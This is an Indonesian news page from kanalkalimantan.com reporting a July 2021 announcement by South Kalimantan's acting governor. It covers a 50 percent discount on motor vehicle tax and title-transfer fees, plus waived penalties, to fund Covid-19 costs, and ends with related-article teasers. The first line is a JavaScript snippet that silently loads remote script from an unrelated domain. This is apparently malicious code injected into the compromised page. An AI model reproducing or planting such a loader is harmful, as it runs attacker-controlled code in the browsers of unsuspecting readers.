(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pemerintah Provinsi Kalimantan Selatan memberikan diskon pembayaran Pajak Kendaraan Bermotor (PKB) sebesar 50 persen di bawah tahun 2021 beserta penghapusan denda pajak.
Tidah hanya dua poin potongan itu saja, Bea Balik Nama Kendaraan Bermotor (BBNKB) juga mendapat kortingan alias potongan sebesar 50 persen.
Kebijakan ini disampaikan Penjabat (Pj) Gubernur Kalimantan Selatan Safrizal ZA saat jumpa pers di kantor Gubernur Kalsel, Banjarmasin, Jum’at (30/7/2021) melalui zoom meeting yang diikuti Kanalkalimantan.com.
“Hari ini kita umumkan Pemprov Kalsel bakal memberikan relaksasi pembayaran Pajak Kendaraan Bermotor (PKB) sebesar 50 persen di bawah tahun 2021 beserta penghapusan denda pajak, ini berlaku untuk seluruh jenis kendaraan bermotor,” kata Penjabat Gubernur Kalsel.
Baca juga:Â UPDATE. Sempat Ditutup, Hari Ini IGD RSD Idaman Banjarbaru Kembali Dibuka
Dikatakan Safrizal, selain pajak kendaraan bermotor, pihaknya juga mendiskon 50 persen Bea Balik Nama Kendaraan Bermotor (BBNKB).
Disampaikan Pj Gubernur Kalsel, relaksasi ini berlaku dari 9 Agustus sampai dengan 9 Oktober 2021.
Menurut Safrizal, semula tunggakan Pajak Kendaraaan Bermotor mencapai Rp 900 miliar, namun setelah didata ulang menjadi Rp 740 miliar.
Disampaikan pria kelahiran Aceh ini, ada beberapa sebab wajib pajak melakukan penunggakan. Pertama kendaraan hilang atau rusak berat, sehingga tidak digunakan lagi tapi masih tercatat di Samsat.
Kedua, kendaraan ditarik oleh pihak pembiayaan kemudian tidak dilaporkan, sehingga terus tercatat.
Selanjutnya, masyarakat tidak mempunyai uang untuk membayar pajak.
Baca juga:Â Bantuan Beras PPKM Deadline 31 Juli, Pj Gubernur Kalsel: Penyaluran Harus Cepat
“Menunggak karena tidak punya uang untuk bayar, ini faktor yang mendominasi, tunda-tunda sehingga 10 tahun, karena kelamaan sampai lupa bayar,” katanya.
Pria kelahiran 21 April 1970 ini menyebutkan, alasan Pemprov Kalsel memberikan waktu hanya 2 bulan, untuk menutup kekurangan pendapatan daerah, sekaligus membiayai penanganan Covid-19 Kalsel tahun ini.
“Pajaknya untuk membeli oksigen, obat, insentif nakes, serta belanja pemerintah daerah,” katanya. (kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.